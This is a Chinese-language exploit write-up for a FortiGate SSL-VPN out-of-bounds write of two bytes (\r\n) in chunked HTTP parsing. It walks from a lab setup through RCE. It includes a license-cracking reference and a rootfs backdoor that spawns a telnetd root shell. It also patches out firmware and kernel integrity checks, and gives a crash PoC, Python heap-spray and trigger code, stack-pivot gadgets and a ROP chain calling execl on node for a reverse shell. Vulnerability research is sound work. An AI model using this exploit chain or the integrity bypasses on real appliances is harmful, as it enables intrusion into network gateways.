前言
内存越界写入仅有的2个字节 \r\n导致了RCE。这整条利用链比较巧妙, 还是非常值得学习的, 这里记录一下从环境搭建到漏洞利用再到getshell的一个过程。
环境搭建
这里用到的测试环境为 FGT_VM64-v7.2.1.F-build1254-FORTINET
网络配置
加载ova虚拟机,并启动, 配置网卡1为自己的网段:
进入系统后输入默认的用户名admin, 密码为空, 接着进到CLI界面, 开始按照以下配置, 设置网卡:
config system interface edit port1 set mode static set ip 192.168.102.200 255.255.255.0 set allowaccess ping https http ssh telnet end
配置后, 就设置好了IP地址, 并且开启了22、23、80、443的端口, 可以自行查看有没有ping通。
sslvpn服务配置
通过https访问目标进入后台页面, 此时需要破解license, 可以参考@CATALPA大佬的脚本: https://github.com/rrrrrrri/fgt-gadgets, 激活后, 就可以开始配置VPN功能了。
1、创建sslvpn的用户:
2、创建组,并且将用户添加至组
3、配置sslvpn,选择监听网卡以及端口(这里设置的是4443)
4、设置可访问组为自己创建的组:
5、防火墙配置 添加允许port1网卡对sslvpn的访问:
6、正常访问sslvpn服务:
Patch后门
加载虚拟机后, 会有2个vmdk文件, 其中vmdk1里边保存的有一个叫做 rootfs.gz
的压缩包, 里边保存的就是文件系统, 另外的一个 flatkc
是加载启动的内核程序,其实就是vmlinx换了个名字。
我们的目标是: 将系统的某些自动加载的程序替换为我们自己的后门(以往的思路例如:替换vmtools等).
这里用到的一个方法是:替换掉cli中的一个叫做 smartctl
的功能, 他本来是指向 /bin/init
的一个软链接, 我们可以把他替换成一个静态编译的后门程序, 这样就达到了从cli调用smartctl会执行后门程序的效果。
通过在一台Linux设备上挂载这个vmdk1硬盘来修改里边的内容:
我整合了一下patch后门的步骤:
# 挂载vmdk
root@Pwn-Baka:/mnt# mount /dev/sdb1 /mnt/fuckforti
# 解压vmdk中的rootfs.gz
root@Pwn-Baka:/mnt/forti-rootfs# gzip -d rootfs.gz
root@Pwn-Baka:/mnt/forti-rootfs# mkdir ../fos_rootfs ; cd ../fos_rootfs/
root@Pwn-Baka:/mnt/fos_rootfs# mv ../forti-rootfs/rootfs .
root@Pwn-Baka:/mnt/fos_rootfs# cpio -idmv < rootfs
root@Pwn-Baka:/mnt/fos_rootfs# rm rootfs
# 解压bin目录
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -xf /bin.tar
# 替换默认shell
root@Pwn-Baka:/mnt/fos_rootfs# mv bin/sh bin/sh_bak
root@Pwn-Baka:/mnt/fos_rootfs# ln -sn /bin/busybox bin/sh
root@Pwn-Baka:/mnt/fos_rootfs#
# 制作后门
root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# cat main.c
#include <stdlib.h>
void shell() {
system("/bin/busybox ls");
system("/bin/busybox id");
system("/bin/busybox killall sshd && /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22");
}
int main(int argc, char **argv) {
shell();
return 0;
}
//gcc -g main.c -static -o smartctl-backdoor
root@Pwn-Baka:/mnt/hgfs/Ubuntu/forti_backdoor# gcc -g main.c -static -o smartctl-backdoor
root@Pwn-Baka:/mnt/fos_rootfs/bin# mv busybox-i686-v1-sysv busybox
# 替换后门
root@Pwn-Baka:/mnt/fos_rootfs/bin# mv /mnt/hgfs/Ubuntu/forti_backdoor/smartctl-backdoor smartctl
# 重打包bin目录
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/ftar -cf /bin.tar /bin
root@Pwn-Baka:/mnt/fos_rootfs# chroot . /sbin/xz -z /bin.tar
# rm -rf bin !!!!!!这里不能删除/bin目录 要保留patch后的/bin/init, 至于删其他文件会不会出现问题可以自行尝试
# 重打包rootfs
root@Pwn-Baka:/mnt/fos_rootfs# find . | cpio -H newc -o > "../rootfs"
root@Pwn-Baka:/mnt/fos_rootfs# cat "../rootfs" | gzip > "../rootfs.gz"
root@Pwn-Baka:/mnt/fos_rootfs# dd if=/dev/zero bs=1 count=256 >> "../rootfs.gz"
# 替换rootfs.gz
root@Pwn-Baka:/mnt/fos_rootfs# cd ../fuckforti/
root@Pwn-Baka:/mnt/fuckforti# cp ../rootfs.gz .
# 取消挂载
root@Pwn-Baka:/mnt/fuckforti# cd ..
root@Pwn-Baka:/mnt# umount /mnt/fuckforti/
# 提取vmlinux
root@Pwn-Baka:/mnt/fuckforti# cp flatkc ../
root@Pwn-Baka:/mnt/fuckforti# cd ..
root@Pwn-Baka:/mnt# umount fuckforti/
root@Pwn-Baka:/mnt# cp flatkc hgfs/Ubuntu/
# 转换vmlinux
> git clone https://github.com/marin-m/vmlinux-to-elf.git
> cd vmlinux-to-elf
> python3 vmlinux-to-elf /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc /Users/w22/Ubuntu/iot/FortiGate/fuckforti/flatkc1
除了以上的步骤, 还需要解决一些问题:
1、系统没有busybox, 需要传一个x86-64的busybox进去, 确保后边调试方便.
2、我用Ubuntu环境静态编译的后门不知道为什么没有被执行, 之后用go编译了一个可以了. 这里感谢@pipiyang的思路
go后门代码:
package main import ( "fmt" "log" "os/exec" ) func shell() { if err := exec.Command("/bin/busybox", "ls").Run(); err != nil { log.Fatal(err) } if err := exec.Command("/bin/busybox", "id").Run(); err != nil { log.Fatal(err) } if err := exec.Command("/bin/busybox", "killall", "sshd").Run(); err != nil { log.Fatal(err) } if err := exec.Command("/bin/busybox", "telnetd", "-l", "/bin/sh", "-b", "0.0.0.0", "-p", "22").Run(); err != nil { log.Fatal(err) } } func main() { fmt.Println("hello") shell() } // GOOS=linux GOARCH=amd64 go build -o smartctl-backdoor
// cp /mnt/hgfs/Ubuntu/iot/FortiGate/fuckforti/smartctl_backdoor_go/smartctl-backdoor smartctl
绕过文件系统检查
/bin/init
这个文件是一个很大的bin文件, 有60多M, 里边存放了FortiOS的启动过程, 还有很多功能都是链接向他的, 例如sslvpnd服务也是通过/bin/init启动的, 在图中的位置检查了rootfs.gz的文件完整性. 检查失败会到do_halt, 直接重启。
这里的思路很简单, 将do_halt直接ret即可, 或者修改判断逻辑, 直接patch即可。
绕过内核检查
可以通过 vmlinux-to-elf
工具将flatkc变为elf程序, 这样就可以使用gdb或者ida加载并分析了。
从kernel_init跟进, 发现有一个名为 fgt_verify
的函数, 如果他返回异常,系统就会重启。
解决他的思路是在走完fgt_verify函数时, 将 \$rax
置0, 并且将启动的/sbin/init 替换为修改后的/bin/init
这里写了一个gdb启动脚本, 可以参考(其中注释的部分是需要手动执行的. 具体 /bin/init
的位置, 需要查看flatkc文件中/bin/init的地址):
import gdb
gdb.execute('set architecture i386:x86-64') #设置架构
gdb.execute('set pagination off') #关闭分页
gdb.execute('file ./flatkc1') #加载启动内核文件
gdb.execute('b fgt_verify') #fgt_verify
# finish
# set $rax = 0
# set {char[9]}0xFFFFFFFF808F3591 = "/bin/init"
# set {char}0xFFFFFFFF808F359A = '\x00'
虚拟机启动后, 运行 diagnose hardware smartctl
, 启动后门:
此时通过telnet连接22端口测试:
关于调试
由于22、23端口都被进程占用, 其中22端口是被替换成了/bin/busybox telnetd
,23端口为原本的telnet服务, 我们用不到他, 这时候就可以通过kill掉系统的telnetd
服务,并且监听我们的gdbserver程序, 命令如下:
/bin/busybox kill `/bin/busybox ps | grep "/[b]in/telnetd" | /bin/busybox awk '{print $1}'` ; ./gdbserver 0.0.0.0:23
--attach `/bin/busybox ps |grep ssl[v]pnd |/bin/busybox awk '{print $1}'`
可以看到成功attach到sslvpnd进程:
这里也记录了一些调试漏洞时的一些断点命令, 可以自行参考:
import gdb
gdb.execute("set architecture i386:x86-64")
gdb.execute("file ../init")
gdb.execute("set pagination off") #关闭分页
# gdb.execute("b* 0x176bbb6") #越界写0a0d后,crash前leave位置
# gdb.execute("b *0x1780a20") # jmp rax所在的函数
# gdb.execute("b* 0x000000000177F410")
# gdb.execute("b *0x1780B1B") # jmp rax
# gdb.execute("watch *0x7fc9d3ae3a00") # 分配堆块
# gdb.execute("b *0x178E196") # 分配堆块位置
# gdb.execute("b* 0x43ec1b") #system_plt
# gdb.execute("b* 0x1780C19") #可控参数call
# gdb.execute("b* 0x7fc9d8d4ca31") #do_system_args
# gdb.execute("b* 0x7f47c9cdf956") # <SSL_do_handshake+54>
# gdb.execute("b* 0x7f47c9cdf98e") # <SSL_do_handshake+110>:jmp rax
# gdb.execute("b* 0x01f710ed") # debug rop
gdb.execute("target remote 192.168.102.200:23")
gdb.execute("c")
漏洞发现
通过diff补丁可以知道, 新版本添加了对chunk的限制: 当ap_getline的返回值大于16的时候添加了非法chunk的异常处理。
通过分析公开的PoC, 以及解析chunk的处理后发现:
如果chunk length的字段解码后为0的话, 就会从chunk trailer开始读, 而chunk trailer是由ap_getline读取的.
读取chunk trailer的时候,会根据chunk length的长度写入0x0d,0x0a
所以, 我们如果在chunk length上传入0的长度大于剩余缓冲区长度的1/2时,就会触发越界写0x0a0d
,而偏移0x2028的位置保存了返回地址.如果在偏移0x202e的位置写入\r\n
.当函数返回执行ret
指令恢复rip时就会因地址非法产生崩溃。
Crash分析
Crash PoC:
hostname='192.168.102.200:4443' pkt = b"""\ GET / HTTP/1.1 Host: %s Transfer-Encoding: chunked %s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
通过调试发现,rsp的值已经被覆盖为0x0a0d开头的一个内容:
由于越界写的内容很有限, 只有固定的0x0a0d两个字节,所以也无法劫持rip指针,所以现在需要想办法来控制写入0x0a0d的位置,以及思考2个字节可以做什么。
漏洞利用
程序在0x176bbb7的位置发生崩溃了, 我们在发生崩溃, leave之前的位置下一个断点,查看栈的情况:
b* 0x176bbb6
首先在越界写0x0a0d的位置下断点: 然后查看栈的信息, 这里用了PoC中的值以及PoC中的偏移+0x20的值,
#payload -> b"0"*((0x202e//2)-2)+b"a"
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x0a0d00000177f48d0x00007fff03071f80 <--写入0a0d位置
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0
0x7fff03071f98:0x00007f47c52e3a000x0000000000000000
0x7fff03071fa8:0x000000010016966d0x00007fff03071fe0
#payload -> b"0"*((0x202e//2)-2+0x20)+b"a"
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x000000000177f48d0x00007fff03071f80
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x0a0d0000000000000x00007f47c52e3ac0 <--写入0a0d位置
0x7fff03071f98:0x00007f47c52e3a000x0000000000000000
0x7fff03071fa8:0x000000010016d6040x00007fff03071fe0
此时发现可以控制0a0d的位置, 并且可以成功绕过这个由于返回地址被改为0a0d时出现的段错误了, 继续跟进调试: 发现程序走进了一段小gadget:
到这里我们可以发现, 如果说我们写入一个0d0a 使他刚好可以覆盖掉某个栈上的值, 是否就可以在pop寄存器的时候修改寄存器的内容呢?
1、通过修改rbp的低字节, 结果:程序没有leave来恢复栈, 导致crach (x)
2、可以改一些变量内容, 结果: 改了很多变量, 发现没什么卵用 (x)
思考后, 想到了可以尝试一下的方法: 通过修改栈上边保存指向堆地址的值, 比如修改了指向0x7fxxxxx1000的地址, 修改后使其指向0x7fxxxxx0a0d, 并且通过堆喷,使得堆上的值可控,此时就得到了一个可控的指针指向可控的结构体.
这里我们选择了((0x202e//2)-2+0x15)
的位置,修改后的代码如下:
pwndbg> x/1i $rip
=> 0x176bbb7:ret
pwndbg> x/10gx $rsp
0x7fff03071f68:0x000000000177f48d0x00007fff03071f80
0x7fff03071f78:0x00007f47c45b92180x00007fff03071fb0
0x7fff03071f88:0x00000000000000000x00007f47c52e3ac0
0x7fff03071f98:0x00007f47c52e0a0d0x0000000000000000 #3a00 -> 0a0d
0x7fff03071fa8:0x000000010019803d0x00007fff03071fe0
这个位置保存的是一个堆指针。
可以看到, 在执行了pop r13
后, r13的值被修改为我们覆盖掉0a0d的值:
继续执行, 程序走在了读rsi地址没有读到的地方, 发生了崩溃:
分析这个地址所在的函数sub_1780A20
后, 发现了一个有趣的地方, 这里的v9 通过*(v8+0xc0)得到的,而v8的值是rdx, 他的获取方法是通过rsi+0x70的地址所在的值, 而这个值是我们可控的(存于堆中), 所以我们可以通过修改v9的值指向任意的函数,从而做到任意函数的调用。
这里的v9为rax, a1为第一个参数, 也就是rdi的值。
劫持函数指南针
这里可以通过2步来修改rsi的值:
1、通过堆喷的方法, 创建一个堆布局
2、通过发送PoC,修改堆指针,使其走到sub_1780A20函数中
我们从之前的漏洞中得知, FortiGate 会在解析每个表单后参数时为其创建单独的分配. 这让我们可以对分配的chunk进行控制.
我们发送了12个带有表单参数的请求,每个参数的长度与我们的目标分配大小相同,而堆块分配的大小为0x608:
所以做的表单的变量与参数需要分别设置大小,以保证堆喷的目标为0x608大小的堆块上:
body = b'A'*(0x608) + b"=" + b'B'*(0x508) + b"&"
body = body*12
print("[*]heap spray -> "+str(len(body)))
ssock1 = alloc_ssl(HOST)
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += f"Content-Length: {len(body)}\r\n".encode()
data += b"\r\n"
data += body
ssock1.sendall(data)
time.sleep(1)
print("[*]writing 0a0d..")
ssock2 = alloc_ssl(HOST)
data = b"POST / HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A\r\n\r\n"
ssock2.send(data)
调试得到结果如下, 可以看到rsi可控:
既然rsi可控了, 现在就是分析多级指针解引用的问题了, 以保证程序能正常的被控制为我们想执行的代码, 这里以system函数举例,过程如下:
计算偏移后, 将目标地址修改为0x431f68
:
system_ptr = up64(0x431f68) #解引用后
body = b''
body+= cyclic(1421)
body+= system_ptr
body+= b'A'*(0x608-1421-8)
body+= b"="
body+= b'B'*(0x508)
body+= b"&"
body = body*12
# bug1: 0x177f443 mov r15, qword ptr [r13 + 0x70]
# bug2: 0x1780aee mov rdx, qword ptr [rsi + 0x70]
print("[*]heap spray -> "+str(len(body)))
ssock1 = alloc_ssl(HOST)
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += f"Content-Length: {len(body)}\r\n".encode()
data += b"\r\n"
data += body
ssock1.sendall(data)
time.sleep(1)
print("[*]writing 0a0d..")
ssock2 = alloc_ssl(HOST)
data = b"POST / HTTP/1.1\r\n"
data += f"Host: {IP}:{PORT}\r\n".encode()
data += b"Transfer-Encoding: chunked\r\n"
data += b"Connection: close\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A\r\n\r\n"
ssock2.send(data)
此时system函数被执行(这里执行/bin/busybox的原因是我将/bin/sh链接到了/bin/busybox):
这里本来以为结束了, 后来想到由于系统自带的/bin/sh
功能很少, 而system函数默认会调用/bin/sh
去执行命令,就算执行了也不能达到什么效果, 所以就放弃了使用system函数, 打算使用execl函数, 去调用自带的/bin/node
反弹shell.达到execl("/bin/node","/bin/node","-e","反弹shell代码")``。
控制RIP
**通过分析之前的文章, 发现了一个有趣的导入函数: **SSL_do_handshake
, 这个函数entry处的代码如下:
0x7fc9d85f7920 <SSL_do_handshake>:push rbp
0x7fc9d85f7921 <SSL_do_handshake+1>:sub rsp,0x30
0x7fc9d85f7925 <SSL_do_handshake+5>:mov rax,QWORD PTR fs:0x28
0x7fc9d85f792e <SSL_do_handshake+14>:mov QWORD PTR [rsp+0x28],rax
0x7fc9d85f7933 <SSL_do_handshake+19>:xor eax,eax
0x7fc9d85f7935 <SSL_do_handshake+21>:cmp QWORD PTR [rdi+0x30],0x0
0x7fc9d85f793a <SSL_do_handshake+26>:je 0x7fc9d85f79e2 <SSL_do_handshake+194>
0x7fc9d85f7940 <SSL_do_handshake+32>:mov rbp,rdi
0x7fc9d85f7943 <SSL_do_handshake+35>:mov esi,0xffffffff
0x7fc9d85f7948 <SSL_do_handshake+40>:call 0x7fc9d86278e0
0x7fc9d85f794d <SSL_do_handshake+45>:mov rax,QWORD PTR [rbp+0x8]
0x7fc9d85f7951 <SSL_do_handshake+49>:xor esi,esi
0x7fc9d85f7953 <SSL_do_handshake+51>:mov rdi,rbp
=> 0x7fc9d85f7956 <SSL_do_handshake+54>:call QWORD PTR [rax+0x60]
0x7fc9d85f7959 <SSL_do_handshake+57>:mov rdi,rbp
0x7fc9d85f795c <SSL_do_handshake+60>:call 0x7fc9d8626960 <SSL_in_init>
0x7fc9d85f7961 <SSL_do_handshake+65>:test eax,eax
0x7fc9d85f7963 <SSL_do_handshake+67>:je 0x7fc9d85f7990 <SSL_do_handshake+112>
0x7fc9d85f7965 <SSL_do_handshake+69>:test BYTE PTR [rbp+0x9f1],0x1
0x7fc9d85f796c <SSL_do_handshake+76>:jne 0x7fc9d85f79c0 <SSL_do_handshake+160>
0x7fc9d85f796e <SSL_do_handshake+78>:mov rax,QWORD PTR [rsp+0x28]
0x7fc9d85f7973 <SSL_do_handshake+83>:sub rax,QWORD PTR fs:0x28
0x7fc9d85f797c <SSL_do_handshake+92>:jne 0x7fc9d85f7a19 <SSL_do_handshake+249>
0x7fc9d85f7982 <SSL_do_handshake+98>:mov rax,QWORD PTR [rbp+0x30]
0x7fc9d85f7986 <SSL_do_handshake+102>:add rsp,0x30
0x7fc9d85f798a <SSL_do_handshake+106>:mov rdi,rbp
0x7fc9d85f798d <SSL_do_handshake+109>:pop rbp
0x7fc9d85f798e <SSL_do_handshake+110>:jmp rax
0x7fc9d85f7990 <SSL_do_handshake+112>:mov rdi,rbp
0x7fc9d85f7993 <SSL_do_handshake+115>:call 0x7fc9d8626990 <SSL_in_before>
0x7fc9d85f7998 <SSL_do_handshake+120>:test eax,eax
...
我们关注其中的<SSL_do_handshake+110>
的位置, 他的指令是jmp rax, 并且在<SSL_do_handshake+45>
的时候, 他取了栈上的一段数据给了rax, 这就说明了rax其实是可控的. 所以如果可以到达这个地方, 那么就可以劫持\$rip
寄存器.
这里成功进到了这个函数, 也遇到了一个问题: 在\<SSL_do_handshake+54>
的地方, call了一个rax+0x60的地址。
这个地址是可控的, 我们就可以给他赋一个没什么用的函数, 比如getcwd
,注意这里需要-0x60.
控制跳转\$rip
寄存器,但是还没有结束, 这里我们需要构造一个栈空间, 来实现ROP
ps:这里有2个巨坑: FortiOS里会有一个地方对输入的表单内容做检查, 这里感谢@chumen77师傅的指点
<SSL_do_handshake+110>
,不过这个位置是固定的, 经过测试, 他就在过掉\<SSL_do_handshake+45>
的call之后填充的+32的偏移的字节的位置. 这里要用偶数,不要用奇数!2、如果堆喷发送的包过大或者写入的地址被覆盖, url编码不会被解析!
栈迁移
触发jmp rax崩溃时,\$rdi
寄存器仍指向堆空间, 这时候就有一个思路, 将当前的栈, 迁移至堆。
可以通过ROPgadget
以及ropr
等工具找到以下gadget:
#stack pivoting
pivot_1 = up64(0x00f62332)# push rdi; pop rsp; ret;
pivot_2 = up64(0x021b8b07)# add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
pivot_3 = up64(0x023c32ad)# add rsp, 0xd80; pop rbx; pop r12; pop rbp; ret;
通过pivot_1可以迁移栈到rdi所在的堆
pivot_2和pivot_3一样, 都是可以移动栈的位置, 这里我选择了pivot_3, 因为pivot2移动栈指针后,指向的地址离一些自己写入的地址位置很近并且空间不太够.这里根据堆的情况自己调整就好
此时 通过pivot_1和pivot_3, 已经将栈迁移到可控制的堆空间中:
ROP
此时就可以构造ROP了,这个过程简单一些, 分别将rdi、rsi、rdx、rcx、r8进行赋值,最后进入execl函数即可,我构造的ROP链如下:
#rop chains
rop = b""
# rdi -> /bin/node
rop+= up64(0x000000000046bb26) # push rdi ; pop rax ; ret
rop+= up64(0x00000000013f12e9) # sub rax, 0x2c8 ; ret
rop+= up64(0x006107e0) # push rax; pop rcx; rol byte ptr [rdx], 0xba; mov al, 0x65; ret;
rop+= up64(0x01dc07a6) # push rax; pop rdi; fadd st, qword ptr [rcx]; mov qword ptr [rip+0xa54dbb3], 0x1dc5e30; ret;
# rsi -> /bin/node
# rop+= up64(0x01ca1824) # add rsi, rax; mov [rdi+8], rsi; ret;
rop+= up64(0x01d125ea) # push rax; pop rsi; or al, [rax]; ret;
# rdx -> -e
rop+= up64(0x00000000004e906e) # add rax, 0x10 ; ret
rop+= up64(0x0256e7ae) # pop rdx; ret;
rop+= up64(0) # rdx -> 0
rop+= up64(0x01f710ed) # add rdx, rax; lea rax, [rsi+rdx*4+0x2a20]; ret; ---rdx在rdi+0x10的位置; 此时rax被破坏
# r8 -> 0
rop+= up64(0x02a852f5) # pop r8; ret; 这里也可以用xor r8, r8; ret;来替代,可以节约一些字节
rop+= up64(0)# r8 -> 0
# rcx -> {js code}
rop+= up64(0x000000000058f7f3) # pop rcx ; ret
rop+= up64(0) # rcx -> 0
rop+= up64(0x00772b3e) # add rcx, rdi; lea rax, [rcx+rcx+0x3fd2642]; ret;
rop+= up64(0x01317394) # add rcx, 0x38; call qword ptr [rbx+0x10];
在给rcx赋值的时候取了一个巧, 找到了抬高rcx,并且直接call了一段可控地址的gadget:add rcx, 0x38; call qword ptr [rbx+0x10];
,它可以给rbx赋值后, 将call的地址改为execl的地址-0x10的位置. 由于call完就结束了, 所以要先给r8寄存器赋值为0。
GetShell
最后将所有的寄存器都赋值,并且调用execl
函数,并且成功加载了/bin/node
:
此时已经加载了js代码,并且反弹node的shell回来了。
结束
到了这里还是有一些问题的:
由于堆喷实现的堆布局比较随机, 每次重启的时候打设备会发生变化, 所以重启后可能打不通, 这时候需要把程序给打崩掉, 等待守护进程自动启动sslvpnd服务, 这样可以达到重置内存的效果, 然后再用exp打, 但是利用成功率不高。
重启后,不通过gdb attach加载也有概率打不通。解决思路同上。
以上可能是我利用方式存在缺陷, 如果有更好的解决方法, 望指正。
往期推荐
原创 | 深度剖析GadgetInspector执行逻辑(上)